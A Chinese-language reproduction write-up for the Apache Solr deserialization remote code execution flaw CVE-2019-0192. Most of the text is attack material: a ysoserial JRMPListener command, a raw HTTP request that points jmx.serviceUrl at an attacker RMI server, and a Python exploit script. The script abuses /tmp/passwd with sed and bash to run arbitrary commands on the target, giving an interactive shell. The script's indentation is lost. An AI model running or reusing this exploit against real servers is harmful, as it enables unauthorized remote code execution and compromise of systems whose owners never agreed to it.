（CVE-2019-0192）Apache Solr Deserialization 远程代码执行漏洞
一、漏洞简介
Apache Solr中的ConfigAPI允许设置一个jmx.serviceUrl，它将创建一个新的JMXConnectorServerFactory，并通过"绑定"操作触发对目标RMI/LDAP服务器的调用。恶意的RMI服务器可以响应任意的对象，这些对象将在Solr端使用java的ObjectInputStream反序列化，这被认为是不安全的。这种类型的漏洞可以利用ysoserial工具。根据目标类路径，攻击者可以使用其中一个"gadget chain"来触发Solr端上的远程代码执行。
二、漏洞影响
Apache Solr 5.0.0 to 5.5.5
Apache Solr 6.0.0 to 6.6.5
三、复现过程
下载Apache Solr 5.5.3版本作为靶机（注意，一定要使用jre7u25以下jre），执行solr -e techproducts -Dcom.sun.management.jmxremote指令开启服务。
使用ysoserial工具，执行*Java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12363 Jdk7u21 "calc"指令，监听12363***端口。然后传入以下数据：
POST /solr/techproducts/config HTTP/1.1
Host: 0-sec.org:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-type:application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 91
{"set-property" : {"jmx.serviceUrl" : "service:jmx:rmi:///jndi/rmi://127.0.0.1:12363/obj"}}poc
下载yoserial,并将value修改为一下内容
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"然后执行一下脚本
import base64
import requests
import subprocess
import signal
import sys
import os
import time
import re
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
proxy = {
}
def exploit(command):
print("\n Run the malicious RMI server using yoserial by running this command:")
print("\n java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21" + command)
if __name__ == "__main__":
print("\nCVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5\n")
print("[+] Checking if ressource available =>", end=' ')
burp0_url = remote + "/solr/admin/cores?wt=json"
r = requests.get(burp0_url, proxies=proxy, verify=False, allow_redirects=False)
if r.status_code == 200:
if r.json()['status'] == "":
print("KO")
sys.exit()
else:
a = list(r.json()['status'].keys())
ressource = "/solr/" + a[0] + "/config"
print(ressource)
else:
print("KO")
sys.exit()
while True:
try:
command = input("command (\033[92mnot reflected\033[0m)> ")
if command == "exit":
print("Exiting...")
break
command = base64.b64encode(command.encode('utf-8'))
command_str = command.decode('utf-8')
command_str = command_str.replace('/', '+')
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'cp /etc/passwd /tmp/passwd'", stdout=subprocess.PIPE,shell=True, preexec_fn=os.setsid)
print("[+] Copy file to tmp directory =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {"Content-Type": "application/json"}
burp0_json = {
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
m = re.search('(undeclared checked exception; nested exception is)', r.text)
if m:
print("\033[92mOK\033[0m")
else:
print("\n[-] Error")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1cpwn /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Preparing file =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {"Content-Type": "application/json"}
burp0_json = {
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i /[^pwn]/d /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Cleaning temp file =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {"Content-Type": "application/json"}
burp0_json = {
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1s/pwn/{echo," +
command_str + "}|{base64,-d}>pwn.txt/g /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Writing command into temp file =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {"Content-Type": "application/json"}
burp0_json = {
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Decode base64 command =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {"Content-Type": "application/json"}
burp0_json = {
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash pwn.txt'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Executing command =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {"Content-Type": "application/json"}
burp0_json = {
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
except KeyboardInterrupt:
print("Exiting...")
break